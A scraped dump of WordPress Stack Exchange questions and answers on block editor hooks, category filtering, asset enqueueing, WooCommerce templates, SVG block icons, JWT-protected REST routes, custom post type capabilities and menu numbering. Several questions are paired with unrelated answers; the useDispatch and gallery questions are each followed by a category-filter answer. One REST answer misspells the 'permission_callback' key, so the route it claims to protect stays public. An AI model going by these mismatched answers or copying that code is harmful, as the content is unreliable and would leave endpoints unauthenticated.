I have the `@wordpress/data` package installed, but I can't use `useDispatch` in my block edit function: ``` const { registerBlockType } = wp.blocks; const { useDispatch, useSelect } = wp.data; . . . registerBlockType( 'rb-bootstrap/grid', { ... edit: function( props ) { const { replaceInnerBlocks } = useDispatch("core/block-editor"); } } ``` > > TypeError: useDispatch is not a function > > > What am I missing?
First of all, I wouldn't recommend to use categories to show posts anywhere. Such approach has many consequences (it creates category archive, feeds, and so on). But if you already have such solution, then you can use [`get_the_categories`](https://core.trac.wordpress.org/browser/tags/5.2/src/wp-includes/category-template.php#L97) filter and remove given category from the list. ``` add_filter( 'get_the_categories', function ( $categories, $id ) { foreach ( $categories as $i => $term ) { if ( <ID_OF_CATEGORY_TO_IGNORE> == $term->term_id ) { unset( $categories[$i] ); } } return $categories; }, 10, 2 ); ```
351,091
<p>I'm using a function to display a gallery and I need to load its JS/CSS only if the gallery function is called. Both functions are in the custom plugin. </p> <p>I have now the first function to enqueue scripts and styles and function itself:</p> <pre><code>function gallery_assets() { $upload_dir = wp_get_upload_dir(); wp_enqueue_style('flex-gallery', trailingslashit( $upload_dir["baseurl"]).'gallery-assets/css/flex-gallery.css'); wp_enqueue_script('flex-gallery-jquery', trailingslashit( $upload_dir["baseurl"]).'gallery-assets/js/jquery.min.js'); wp_enqueue_script('flex-gallery', trailingslashit( $upload_dir["baseurl"]).'gallery-assets/js/flex-gallery.js'); } add_action( 'wp_enqueue_scripts', 'gallery_assets', 10); function portfolio_gallery () {} </code></pre> <p>My question is: How I can execute gallery_assets() from portfolio_gallery()?</p> <p>Thank you!</p>
[ { "answer_id": 351053, "author": "Masum Hasan", "author_id": 177212, "author_profile": "https://wordpress.stackexchange.com/users/177212", "pm_score": -1, "selected": false, "text": "<p>Just make the category status \"private\". It should do the job and will not be visible publicly </p>\n" }, { "answer_id": 351060, "author": "Krzysiek Dróżdż", "author_id": 34172, "author_profile": "https://wordpress.stackexchange.com/users/34172", "pm_score": 0, "selected": false, "text": "<p>First of all, I wouldn't recommend to use categories to show posts anywhere. Such approach has many consequences (it creates category archive, feeds, and so on).</p>\n\n<p>But if you already have such solution, then you can use <a href=\"https://core.trac.wordpress.org/browser/tags/5.2/src/wp-includes/category-template.php#L97\" rel=\"nofollow noreferrer\"><code>get_the_categories</code></a> filter and remove given category from the list.</p>\n\n<pre><code>add_filter( 'get_the_categories', function ( $categories, $id ) {\n foreach ( $categories as $i =&gt; $term ) {\n if ( &lt;ID_OF_CATEGORY_TO_IGNORE&gt; == $term-&gt;term_id ) {\n unset( $categories[$i] );\n }\n }\n return $categories;\n}, 10, 2 );\n</code></pre>\n" } ]
2019/10/23
[ "https://wordpress.stackexchange.com/questions/351091", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/142917/" ]
I'm using a function to display a gallery and I need to load its JS/CSS only if the gallery function is called. Both functions are in the custom plugin. I have now the first function to enqueue scripts and styles and function itself: ``` function gallery_assets() { $upload_dir = wp_get_upload_dir(); wp_enqueue_style('flex-gallery', trailingslashit( $upload_dir["baseurl"]).'gallery-assets/css/flex-gallery.css'); wp_enqueue_script('flex-gallery-jquery', trailingslashit( $upload_dir["baseurl"]).'gallery-assets/js/jquery.min.js'); wp_enqueue_script('flex-gallery', trailingslashit( $upload_dir["baseurl"]).'gallery-assets/js/flex-gallery.js'); } add_action( 'wp_enqueue_scripts', 'gallery_assets', 10); function portfolio_gallery () {} ``` My question is: How I can execute gallery\_assets() from portfolio\_gallery()? Thank you!
First of all, I wouldn't recommend to use categories to show posts anywhere. Such approach has many consequences (it creates category archive, feeds, and so on). But if you already have such solution, then you can use [`get_the_categories`](https://core.trac.wordpress.org/browser/tags/5.2/src/wp-includes/category-template.php#L97) filter and remove given category from the list. ``` add_filter( 'get_the_categories', function ( $categories, $id ) { foreach ( $categories as $i => $term ) { if ( <ID_OF_CATEGORY_TO_IGNORE> == $term->term_id ) { unset( $categories[$i] ); } } return $categories; }, 10, 2 ); ```
351,096
<p>I´m making my first Woocommerce theme. In the documentation and in <code>plugins/woocommerce/templates/single-product.php</code>, it´s written :</p> <blockquote> <p>This template can be overridden by copying it to yourtheme/woocommerce/single-product.php</p> </blockquote> <p>But when I do this, it does not work and if I put the file on my theme root, it got it, why ?</p> <p>Comments inside files and WooCommerce documentation are not updated ?</p>
[ { "answer_id": 351110, "author": "J.BizMai", "author_id": 128094, "author_profile": "https://wordpress.stackexchange.com/users/128094", "pm_score": 1, "selected": false, "text": "<p>As @ChetanVaghela said in comments, to use the woocommerce structure you need to add this code line :</p>\n\n<pre><code>add_theme_support( 'woocommerce' ); \n</code></pre>\n" }, { "answer_id": 396484, "author": "Lenin", "author_id": 23316, "author_profile": "https://wordpress.stackexchange.com/users/23316", "pm_score": 0, "selected": false, "text": "<p>Sally in the comments above gave a very informative answer to this question, which answers the OP.</p>\n<p>I would like to quote it again:</p>\n<blockquote>\n<p><code>single-product.php</code> in the root theme folder works because that is a\nvalid/recognized template for single posts of the product type - i.e.\n<code>single-&lt;post type&gt;.php</code> - and by default, it has a higher priority\nand would be used even if your theme does have\n<code>woocommerce/single-product.php</code></p>\n</blockquote>\n<p>Also Chetan mentioned to add theme support with</p>\n<pre class=\"lang-php prettyprint-override\"><code>add_theme_support( 'woocommerce' ); \n</code></pre>\n<p>But note, if at <code>woocommerce.php</code> file resides a your your theme's root folder, the <code>single-product.php</code> and <code>archive-product.php</code> wont work.</p>\n<p>WooCommerce plugin comes with a handy checking tool at your Dashboard. Go the WooCommerce -&gt; Status</p>\n<ul>\n<li>And it reports if your theme has been modified to add wocommerce support or not.</li>\n<li>Any flags to notice</li>\n<li>And at the last section it shows the list of template files which are overwritten and if there are issues regarding them. For example, if your theme has a <code>woocommerce.php</code> it would notify you it too!</li>\n</ul>\n<p><img src=\"https://i.stack.imgur.com/yJN1A.png\" alt=\"enter image description here\" /></p>\n" } ]
2019/10/23
[ "https://wordpress.stackexchange.com/questions/351096", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128094/" ]
I´m making my first Woocommerce theme. In the documentation and in `plugins/woocommerce/templates/single-product.php`, it´s written : > > This template can be overridden by copying it to yourtheme/woocommerce/single-product.php > > > But when I do this, it does not work and if I put the file on my theme root, it got it, why ? Comments inside files and WooCommerce documentation are not updated ?
As @ChetanVaghela said in comments, to use the woocommerce structure you need to add this code line : ``` add_theme_support( 'woocommerce' ); ```
351,136
<p>I am having difficulty adding a custom svg icon to my Wordpress Plugin, I read on this page <a href="https://developer.wordpress.org/block-editor/components/icon/" rel="nofollow noreferrer">https://developer.wordpress.org/block-editor/components/icon/</a> that to add a custom svg icon to my plugin for my blocks I need to add the following code to my block.js file in my plugin:</p> <pre><code>import { Icon } from '@wordpress/components'; const MyIcon = () =&gt; ( &lt;Icon icon={ &lt;svg&gt;&lt;path d="M5 4v3h5.5v12h3V7H19V4z" /&gt;&lt;/svg&gt; } /&gt; ); </code></pre> <p>I have the following text in my block.js file:</p> <pre><code>( function() { var __ = wp.i18n.__; // The __() function for internationalization. var createElement = wp.element.createElement; // The wp.element.createElement() function to create elements. var registerBlockType = wp.blocks.registerBlockType; // The registerBlockType() function to register blocks. import { Icon } from '@wordpress/components'; const MyIcon = () =&gt; ( &lt;Icon icon={ () =&gt; &lt;svg&gt;&lt;path d="M5 4v3h5.5v12h3V7H19V4z" /&gt;&lt;/svg&gt; } /&gt; ); /** * Register block * * @param {string} name Block name. * @param {Object} settings Block settings. * @return {?WPBlock} Block itself, if registered successfully, * otherwise "undefined". */ registerBlockType( 'plugin/custom-block-shortcode-block', // Block name. Must be string that contains a namespace prefix. Example: my-plugin/my-custom-block. { title: __( 'custom-block', 'plugin-blocks' ), // Block title. __() function allows for internationalization. icon: MyIcon, category: 'plugin-blocks', // Block category. Group blocks together based on common traits E.g. common, formatting, layout widgets, embed. // Defines the block within the editor. edit: function( props ) { return createElement( 'p', // Tag type. { className: props.className, // Class name is generated using the block's name prefixed with wp-block-, replacing the / namespace separator with a single -. }, '[Shortcode][/Shortcode]' // Block content ); }, // Defines the saved block. save: function( props ) { return createElement( 'p', // Tag type. { className: props.className, // Class name is generated using the block's name prefixed with wp-block-, replacing the / namespace separator with a single -. }, '[Shortcode][/Shortcode]' // Block content ); }, } ); })(); </code></pre> <p>I am seeing a syntax error within the following code section <code>&lt;Icon icon={ () =&gt; &lt;svg&gt;&lt;path d="M5 4v3h5.5v12h3V7H19V4z" /&gt;&lt;/svg&gt; } /&gt;</code></p> <p>The error shows on line 9:</p> <pre><code>Expected an identifier and instead saw '&lt;'. </code></pre> <p>What is the proper way to add a custom svg icon and use it as a Wordpress Block Icon?</p>
[ { "answer_id": 351110, "author": "J.BizMai", "author_id": 128094, "author_profile": "https://wordpress.stackexchange.com/users/128094", "pm_score": 1, "selected": false, "text": "<p>As @ChetanVaghela said in comments, to use the woocommerce structure you need to add this code line :</p>\n\n<pre><code>add_theme_support( 'woocommerce' ); \n</code></pre>\n" }, { "answer_id": 396484, "author": "Lenin", "author_id": 23316, "author_profile": "https://wordpress.stackexchange.com/users/23316", "pm_score": 0, "selected": false, "text": "<p>Sally in the comments above gave a very informative answer to this question, which answers the OP.</p>\n<p>I would like to quote it again:</p>\n<blockquote>\n<p><code>single-product.php</code> in the root theme folder works because that is a\nvalid/recognized template for single posts of the product type - i.e.\n<code>single-&lt;post type&gt;.php</code> - and by default, it has a higher priority\nand would be used even if your theme does have\n<code>woocommerce/single-product.php</code></p>\n</blockquote>\n<p>Also Chetan mentioned to add theme support with</p>\n<pre class=\"lang-php prettyprint-override\"><code>add_theme_support( 'woocommerce' ); \n</code></pre>\n<p>But note, if at <code>woocommerce.php</code> file resides a your your theme's root folder, the <code>single-product.php</code> and <code>archive-product.php</code> wont work.</p>\n<p>WooCommerce plugin comes with a handy checking tool at your Dashboard. Go the WooCommerce -&gt; Status</p>\n<ul>\n<li>And it reports if your theme has been modified to add wocommerce support or not.</li>\n<li>Any flags to notice</li>\n<li>And at the last section it shows the list of template files which are overwritten and if there are issues regarding them. For example, if your theme has a <code>woocommerce.php</code> it would notify you it too!</li>\n</ul>\n<p><img src=\"https://i.stack.imgur.com/yJN1A.png\" alt=\"enter image description here\" /></p>\n" } ]
2019/10/24
[ "https://wordpress.stackexchange.com/questions/351136", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/48630/" ]
I am having difficulty adding a custom svg icon to my Wordpress Plugin, I read on this page <https://developer.wordpress.org/block-editor/components/icon/> that to add a custom svg icon to my plugin for my blocks I need to add the following code to my block.js file in my plugin: ``` import { Icon } from '@wordpress/components'; const MyIcon = () => ( <Icon icon={ <svg><path d="M5 4v3h5.5v12h3V7H19V4z" /></svg> } /> ); ``` I have the following text in my block.js file: ``` ( function() { var __ = wp.i18n.__; // The __() function for internationalization. var createElement = wp.element.createElement; // The wp.element.createElement() function to create elements. var registerBlockType = wp.blocks.registerBlockType; // The registerBlockType() function to register blocks. import { Icon } from '@wordpress/components'; const MyIcon = () => ( <Icon icon={ () => <svg><path d="M5 4v3h5.5v12h3V7H19V4z" /></svg> } /> ); /** * Register block * * @param {string} name Block name. * @param {Object} settings Block settings. * @return {?WPBlock} Block itself, if registered successfully, * otherwise "undefined". */ registerBlockType( 'plugin/custom-block-shortcode-block', // Block name. Must be string that contains a namespace prefix. Example: my-plugin/my-custom-block. { title: __( 'custom-block', 'plugin-blocks' ), // Block title. __() function allows for internationalization. icon: MyIcon, category: 'plugin-blocks', // Block category. Group blocks together based on common traits E.g. common, formatting, layout widgets, embed. // Defines the block within the editor. edit: function( props ) { return createElement( 'p', // Tag type. { className: props.className, // Class name is generated using the block's name prefixed with wp-block-, replacing the / namespace separator with a single -. }, '[Shortcode][/Shortcode]' // Block content ); }, // Defines the saved block. save: function( props ) { return createElement( 'p', // Tag type. { className: props.className, // Class name is generated using the block's name prefixed with wp-block-, replacing the / namespace separator with a single -. }, '[Shortcode][/Shortcode]' // Block content ); }, } ); })(); ``` I am seeing a syntax error within the following code section `<Icon icon={ () => <svg><path d="M5 4v3h5.5v12h3V7H19V4z" /></svg> } />` The error shows on line 9: ``` Expected an identifier and instead saw '<'. ``` What is the proper way to add a custom svg icon and use it as a Wordpress Block Icon?
As @ChetanVaghela said in comments, to use the woocommerce structure you need to add this code line : ``` add_theme_support( 'woocommerce' ); ```
351,158
<p>I'm developing an API for my Wordpress website, I want to authorize all API request using jwt token. already installed and configured this plugin "JWT Authentication for WP REST API".But when I try via get/post methode my API will return data with out passing jwt access token how can I prevent this?</p> <pre><code>function api_version() { $api=array( "version"=&gt; "v1", "time"=&gt;date('Y-m-d H:i:s P')); return $api; } add_action( 'rest_api_init', function () { register_rest_route( 'v1/', 'info', array( 'methods' =&gt; 'GET', 'callback' =&gt; 'api_version', ) ); } ); </code></pre>
[ { "answer_id": 351159, "author": "Jacob Peattie", "author_id": 39152, "author_profile": "https://wordpress.stackexchange.com/users/39152", "pm_score": 2, "selected": true, "text": "<p>The token just authenticates the request as coming from a specific user. You still need to use the <a href=\"https://developer.wordpress.org/rest-api/extending-the-rest-api/adding-custom-endpoints/#permissions-callback\" rel=\"nofollow noreferrer\">permissions callback</a> to check if that user has permission for whatever it is you're doing. If you omit the <code>permissions_callback</code> argument when registering the route then the route is public.</p>\n\n<p>If you only need to check if there <em>is</em> a user, and not specific permissions, you could just use <code>is_user_logged_in()</code>:</p>\n\n<pre><code>register_rest_route( 'v1/', 'info', array(\n 'methods' =&gt; 'GET',\n 'callback' =&gt; 'api_version',\n 'permissions_callback' =&gt; function() {\n return is_user_logged_in();\n },\n) );\n</code></pre>\n" }, { "answer_id": 391527, "author": "Jürgen Fink", "author_id": 208474, "author_profile": "https://wordpress.stackexchange.com/users/208474", "pm_score": 0, "selected": false, "text": "<p>Good Question and not that easy to do propperly (took me 1 week to figure that out).</p>\n<p>Then I found 2 good summaries in WordPress docs:<br />\n<a href=\"https://developer.wordpress.org/rest-api/extending-the-rest-api/routes-and-endpoints/\" rel=\"nofollow noreferrer\">Home / REST API Handbook / Extending the REST API / Routes and Endpoints</a><br />\n<a href=\"https://developer.wordpress.org/rest-api/extending-the-rest-api/adding-custom-endpoints/\" rel=\"nofollow noreferrer\">Home / REST API Handbook / Extending the REST API / Adding Custom Endpoints</a></p>\n<p>There I found out how to use <strong>namespaces</strong>, <strong>routes</strong> and <strong>permission_callback</strong> correctly.</p>\n<p>Critical part was to add the <strong>Permission Callback</strong> into the <code>function.php</code> of your theme, as <strong>@Jacob Peattie</strong> mentioned correctly in his answer.</p>\n<p>Following, I used the <code>if ( !isset($_COOKIE['wp-postpass_'. COOKIEHASH] ))</code> in the Permission Callback (being the <code>wp-postpass_</code> cookie the one that holds the token for password protected posts, as an alternative to <code>is_user_logged_in()</code> )</p>\n<pre class=\"lang-php prettyprint-override\"><code>/**\n * This is our callback function to return (GET) our data.\n *\n * @param WP_REST_Request $request This function accepts a rest request to process data.\n */\nfunction get_your_data($request) {\n global $wpdb;\n $yourdata = $wpdb-&gt;get_results(&quot;SELECT * FROM your_custom_table&quot;);\n\n return rest_ensure_response( $yourdata );\n};\n\n/**\n * This is our callback function to insert (POST) new data record.\n *\n * @param WP_REST_Request $request This function accepts a rest request to process data.\n */\nfunction insert_your_data($request) {\n global $wpdb;\n $contentType = isset($_SERVER[&quot;CONTENT_TYPE&quot;]) ? trim($_SERVER[&quot;CONTENT_TYPE&quot;]) : '';\n\n if ($contentType === &quot;application/json&quot;) {\n $content = trim(file_get_contents(&quot;php://input&quot;));\n $decoded = json_decode($content, true);\n $newrecord = $wpdb-&gt;insert( 'your_custom_table', array( 'column_1' =&gt; $decoded['column_1'], 'column_2' =&gt; $decoded['column_2']));\n };\n if($newrecord){\n return rest_ensure_response($newrecord);\n }else{\n //something gone wrong\n return rest_ensure_response('failed');\n };\n\n header(&quot;Content-Type: application/json; charset=UTF-8&quot;);\n};\n/**\n * This is our callback function to update (PUT) a data record.\n *\n * @param WP_REST_Request $request This function accepts a rest request to process data.\n */\nfunction update_your_data($request) {\n global $wpdb;\n $contentType = isset($_SERVER[&quot;CONTENT_TYPE&quot;]) ? trim($_SERVER[&quot;CONTENT_TYPE&quot;]) : '';\n\n if ($contentType === &quot;application/json&quot;) {\n $content = trim(file_get_contents(&quot;php://input&quot;));\n $decoded = json_decode($content, true);\n $updatedrecord = $wpdb-&gt;update( 'your_custom_table', array( 'column_1' =&gt; $decoded['column_1'], 'column_2' =&gt; $decoded['column_2']), array('id' =&gt; $decoded['id']), array( '%s' ));\n };\n\n if($updatedrecord){\n return rest_ensure_response($updatedrecord);\n }else{\n //something gone wrong\n return rest_ensure_response('failed');\n };\n\n header(&quot;Content-Type: application/json; charset=UTF-8&quot;);\n};\n\n// Permission Callback \n// 'ypp' is the Prefix I chose (ypp = Your Private Page)\n\nfunction ypp_get_private_data_permissions_check() {\n // Restrict endpoint to browsers that have the wp-postpass_ cookie.\n\n if ( !isset($_COOKIE['wp-postpass_'. COOKIEHASH] )) {\n return new WP_Error( 'rest_forbidden', esc_html__( 'OMG you can not create or edit private data.', 'my-text-domain' ), array( 'status' =&gt; 401 ) );\n };\n // This is a black-listing approach. You could alternatively do this via white-listing, by returning false here and changing the permissions check.\n return true;\n};\n\n// And then add the permission_callback to your POST and PUT routes:\n\nadd_action('rest_api_init', function() {\n /**\n * Register here your custom routes for your CRUD functions\n */\n register_rest_route( 'your_private_page/v1', '/data', array(\n array(\n 'methods' =&gt; WP_REST_Server::READABLE,\n 'callback' =&gt; 'get_your_data',\n // Always allow.\n 'permission_callback' =&gt; '__return_true' // &lt;-- you can protect GET as well if your like\n ),\n array(\n 'methods' =&gt; WP_REST_Server::CREATABLE,\n 'callback' =&gt; 'insert_your_data',\n // Here we register our permissions callback. The callback is fired before the main callback to check if the current user can access the endpoint.\n 'permission_callback' =&gt; 'ypp_get_private_data_permissions_check', // &lt;-- that was the missing part\n ),\n array(\n 'methods' =&gt; WP_REST_Server::EDITABLE,\n 'callback' =&gt; 'update_your_data',\n // Here we register our permissions callback. The callback is fired before the main callback to check if the current user can access the endpoint.\n 'permission_callback' =&gt; 'ypp_get_private_data_permissions_check', // &lt;-- that was the missing part\n ),\n ));\n});\n</code></pre>\n<p>If you like, I posted a Question (similar issue to yours concerning JWT Authentication) and then my findings in the answer as it worked finally.</p>\n<p><strong>Full story</strong> with full code at:<br />\n<a href=\"https://wordpress.stackexchange.com/questions/391515/how-to-force-authentication-on-rest-api-for-password-protected-page-using-custom/391516#391516\">How to force Authentication on REST API for Password protected page using custom table and fetch() without Plugin</a></p>\n<p>Hope this helps a little.</p>\n" } ]
2019/10/24
[ "https://wordpress.stackexchange.com/questions/351158", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/177290/" ]
I'm developing an API for my Wordpress website, I want to authorize all API request using jwt token. already installed and configured this plugin "JWT Authentication for WP REST API".But when I try via get/post methode my API will return data with out passing jwt access token how can I prevent this? ``` function api_version() { $api=array( "version"=> "v1", "time"=>date('Y-m-d H:i:s P')); return $api; } add_action( 'rest_api_init', function () { register_rest_route( 'v1/', 'info', array( 'methods' => 'GET', 'callback' => 'api_version', ) ); } ); ```
The token just authenticates the request as coming from a specific user. You still need to use the [permissions callback](https://developer.wordpress.org/rest-api/extending-the-rest-api/adding-custom-endpoints/#permissions-callback) to check if that user has permission for whatever it is you're doing. If you omit the `permissions_callback` argument when registering the route then the route is public. If you only need to check if there *is* a user, and not specific permissions, you could just use `is_user_logged_in()`: ``` register_rest_route( 'v1/', 'info', array( 'methods' => 'GET', 'callback' => 'api_version', 'permissions_callback' => function() { return is_user_logged_in(); }, ) ); ```
351,160
<p>Using WP 5.2.4, <strong>I am registering my custom post type with this code:</strong> </p> <pre><code>$args = array( 'labels' =&gt; $labels, 'public' =&gt; false, 'show_ui' =&gt; true, 'show_in_menu' =&gt; true, 'query_var' =&gt; true, 'has_archive' =&gt; false, 'menu_position' =&gt; null, 'map_meta_cap' =&gt; false, 'capability_type' =&gt; ['note','notes'], 'rewrite' =&gt; [ 'slug' =&gt; 'note', 'with_front' =&gt; false ], 'supports' =&gt; [ 'editor' ], 'menu_icon' =&gt; 'dashicons-format-aside', ); register_post_type( 'note', $args ); </code></pre> <p><strong>Now I want my custom user role to edit/read/delete this post type. I added this caps to my custom user role:</strong> </p> <pre><code>$role = get_role( 'my_custom_role' ); $role-&gt;add_cap('read_private_notes'); $role-&gt;add_cap('read_note'); $role-&gt;add_cap('read'); $role-&gt;add_cap('publish_notes'); $role-&gt;add_cap('edit_note'); $role-&gt;add_cap('edit_notes'); $role-&gt;add_cap('edit_others_notes'); $role-&gt;add_cap('edit_private_notes'); $role-&gt;add_cap('edit_published_notes'); $role-&gt;add_cap('edit_notes'); $role-&gt;add_cap('delete_note'); $role-&gt;add_cap('delete_notes'); $role-&gt;add_cap('delete_private_notes'); $role-&gt;add_cap('delete_published_notes'); $role-&gt;add_cap('delete_others_notes'); </code></pre> <p><strong>Everything is OK for the administrator role and post type item shows in the admin menu. For other roles, it shows the admin menu item but in the post type list page give permission error.</strong></p> <p><a href="https://i.stack.imgur.com/yvScf.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/yvScf.png" alt="cps show in admin menu"></a> </p> <p><a href="https://i.stack.imgur.com/QSLFx.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/QSLFx.png" alt="but cpt posts list not showin"></a></p> <p>How can I fix this problem ? </p>
[ { "answer_id": 351164, "author": "WebElaine", "author_id": 102815, "author_profile": "https://wordpress.stackexchange.com/users/102815", "pm_score": 2, "selected": false, "text": "<p>You definitely need to set <code>map_meta_cap</code> to <code>true</code> instead of false to create custom capabilities.</p>\n\n<p>I haven't seen the <code>'capability_type' =&gt; ['note','notes']</code> way of creating capabilities before - maybe it's shorthand, but if just changing <code>map_meta_cap</code> doesn't work, you might want to spell everything out the long way:</p>\n\n<pre><code>&lt;?php\n$args = array(\n 'labels' =&gt; $labels,\n 'public' =&gt; false,\n 'show_ui' =&gt; true,\n 'show_in_menu' =&gt; true,\n 'query_var' =&gt; true,\n 'has_archive' =&gt; false,\n 'menu_position' =&gt; null,\n // The most crucial change: true\n 'map_meta_cap' =&gt; true,\n // Possibly required: spelling out every capability individually\n 'capabilities' =&gt; array(\n 'edit_post' =&gt; 'edit_note',\n 'read_post' =&gt; 'read_note',\n 'delete_post' =&gt; 'delete_note',\n 'create_posts' =&gt; 'create_notes',\n 'delete_posts' =&gt; 'delete_notes',\n 'delete_others_posts' =&gt; 'delete_others_notes',\n 'delete_private_posts' =&gt; 'delete_private_notes',\n 'delete_published_posts' =&gt; 'delete_published_notes',\n 'edit_posts' =&gt; 'edit_notes',\n 'edit_others_posts' =&gt; 'edit_others_notes',\n 'edit_private_posts' =&gt; 'edit_private_notes',\n 'edit_published_posts' =&gt; 'edit_published_notes',\n 'publish_posts' =&gt; 'publish_notes',\n 'read_private_posts' =&gt; 'read_private_notes'\n ),\n 'rewrite' =&gt; [ 'slug' =&gt; 'note', 'with_front' =&gt; false ],\n 'supports' =&gt; [ 'editor' ],\n 'menu_icon' =&gt; 'dashicons-format-aside',\n);\nregister_post_type( 'note', $args );\n?&gt;\n</code></pre>\n\n<p>You may also want to grant your custom role a few other capabilities:</p>\n\n<pre><code>&lt;?php\n$role = get_role( 'my_custom_role' );\n// Read (front end) all post types\n$role-&gt;add_cap('read');\n// Adjust their dashboard\n$role-&gt;add_cap('edit_dashboard');\n// Upload files\n$role-&gt;add_cap('upload_files');\n// See the list of users (but not manage them)\n$role-&gt;add_cap('list_users');\n// Allow taxonomy management - Categories and custom taxonomies\n$role-&gt;add_cap('manage_categories');\n// Use the Customizer\n$role-&gt;add_cap('edit_theme_options');\n// Only if you really need to, allow them to paste in HTML/JS\n$role-&gt;add_cap('unfiltered_html');\n?&gt;\n</code></pre>\n\n<p>At a minimum I usually grant \"read\" to custom roles so they can see the front end of the site.</p>\n" }, { "answer_id": 377082, "author": "szabo.eva.irma", "author_id": 196585, "author_profile": "https://wordpress.stackexchange.com/users/196585", "pm_score": 0, "selected": false, "text": "<p>My problem was the same and here that worked for me:</p>\n<p>Add this line to capabilities:\n$role-&gt;add_cap('create_notes');</p>\n<p>And this plugin is very useful to clear custom rules and capabilities when you modify somthing and changes don't apply: <a href=\"https://wordpress.org/plugins/reset-roles-and-capabilities/\" rel=\"nofollow noreferrer\">Reset roles and capabilities</a></p>\n<p>Plus you can try this plugin: <a href=\"https://wordpress.org/plugins/capability-manager-enhanced/\" rel=\"nofollow noreferrer\">https://wordpress.org/plugins/capability-manager-enhanced/</a></p>\n" } ]
2019/10/24
[ "https://wordpress.stackexchange.com/questions/351160", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/143870/" ]
Using WP 5.2.4, **I am registering my custom post type with this code:** ``` $args = array( 'labels' => $labels, 'public' => false, 'show_ui' => true, 'show_in_menu' => true, 'query_var' => true, 'has_archive' => false, 'menu_position' => null, 'map_meta_cap' => false, 'capability_type' => ['note','notes'], 'rewrite' => [ 'slug' => 'note', 'with_front' => false ], 'supports' => [ 'editor' ], 'menu_icon' => 'dashicons-format-aside', ); register_post_type( 'note', $args ); ``` **Now I want my custom user role to edit/read/delete this post type. I added this caps to my custom user role:** ``` $role = get_role( 'my_custom_role' ); $role->add_cap('read_private_notes'); $role->add_cap('read_note'); $role->add_cap('read'); $role->add_cap('publish_notes'); $role->add_cap('edit_note'); $role->add_cap('edit_notes'); $role->add_cap('edit_others_notes'); $role->add_cap('edit_private_notes'); $role->add_cap('edit_published_notes'); $role->add_cap('edit_notes'); $role->add_cap('delete_note'); $role->add_cap('delete_notes'); $role->add_cap('delete_private_notes'); $role->add_cap('delete_published_notes'); $role->add_cap('delete_others_notes'); ``` **Everything is OK for the administrator role and post type item shows in the admin menu. For other roles, it shows the admin menu item but in the post type list page give permission error.** [![cps show in admin menu](https://i.stack.imgur.com/yvScf.png)](https://i.stack.imgur.com/yvScf.png) [![but cpt posts list not showin](https://i.stack.imgur.com/QSLFx.png)](https://i.stack.imgur.com/QSLFx.png) How can I fix this problem ?
You definitely need to set `map_meta_cap` to `true` instead of false to create custom capabilities. I haven't seen the `'capability_type' => ['note','notes']` way of creating capabilities before - maybe it's shorthand, but if just changing `map_meta_cap` doesn't work, you might want to spell everything out the long way: ``` <?php $args = array( 'labels' => $labels, 'public' => false, 'show_ui' => true, 'show_in_menu' => true, 'query_var' => true, 'has_archive' => false, 'menu_position' => null, // The most crucial change: true 'map_meta_cap' => true, // Possibly required: spelling out every capability individually 'capabilities' => array( 'edit_post' => 'edit_note', 'read_post' => 'read_note', 'delete_post' => 'delete_note', 'create_posts' => 'create_notes', 'delete_posts' => 'delete_notes', 'delete_others_posts' => 'delete_others_notes', 'delete_private_posts' => 'delete_private_notes', 'delete_published_posts' => 'delete_published_notes', 'edit_posts' => 'edit_notes', 'edit_others_posts' => 'edit_others_notes', 'edit_private_posts' => 'edit_private_notes', 'edit_published_posts' => 'edit_published_notes', 'publish_posts' => 'publish_notes', 'read_private_posts' => 'read_private_notes' ), 'rewrite' => [ 'slug' => 'note', 'with_front' => false ], 'supports' => [ 'editor' ], 'menu_icon' => 'dashicons-format-aside', ); register_post_type( 'note', $args ); ?> ``` You may also want to grant your custom role a few other capabilities: ``` <?php $role = get_role( 'my_custom_role' ); // Read (front end) all post types $role->add_cap('read'); // Adjust their dashboard $role->add_cap('edit_dashboard'); // Upload files $role->add_cap('upload_files'); // See the list of users (but not manage them) $role->add_cap('list_users'); // Allow taxonomy management - Categories and custom taxonomies $role->add_cap('manage_categories'); // Use the Customizer $role->add_cap('edit_theme_options'); // Only if you really need to, allow them to paste in HTML/JS $role->add_cap('unfiltered_html'); ?> ``` At a minimum I usually grant "read" to custom roles so they can see the front end of the site.
351,237
<p>In my website I need a navigation menu to show arrangement of my posts. So I need the navigation menu to count the items and display the number of every item as a label before the title of that item. I think we need a <code>foreach</code> in <code>wp_get_nav_menu_items</code> to count but I don't know exactly the way.<br> I need something like this from that menu:<br> 1- title one<br> 2- title two<br> 3- title three<br> 4- ... </p> <p>I have the following codes but I have two issues:<br> 1- I do not know why it does not work?<br> 2- I need a class as <code>.current-menu-item</code> to find the current item in other items. this class is as a default class in wordpresss menu but I can not do that. </p> <pre><code>// Get the nav menu based on $menu_name (same as 'theme_location' or 'menu' arg to wp_nav_menu) // This code based on wp_nav_menu's code to get Menu ID from menu slug $menu_name = 'custom_menu_slug'; if ( ( $locations = get_nav_menu_locations() ) &amp;&amp; isset( $locations[ $menu_name ] ) ) { $menu = wp_get_nav_menu_object( $locations[ $menu_name ] ); $menu_items = wp_get_nav_menu_items($menu-&gt;term_id); $menu_list = '&lt;ul id="menu-' . $menu_name . '"&gt;'; menu_count = 0; foreach ( (array) $menu_items as $key =&gt; $menu_item ) { $title = $menu_item-&gt;title; $url = $menu_item-&gt;url; $menu_count++; $menu_list .= '&lt;li&gt;&lt;span&gt;'.$menu_count.'&lt;/span&gt;&lt;a href="' . $url . '"&gt;' . $title . '&lt;/a&gt;&lt;/li&gt;'; } $menu_list .= '&lt;/ul&gt;'; } else { $menu_list = '&lt;ul&gt;&lt;li&gt;Menu "' . $menu_name . '" not defined.&lt;/li&gt;&lt;/ul&gt;'; } // $menu_list now ready to output </code></pre> <p>Thanks a lot to helping</p>
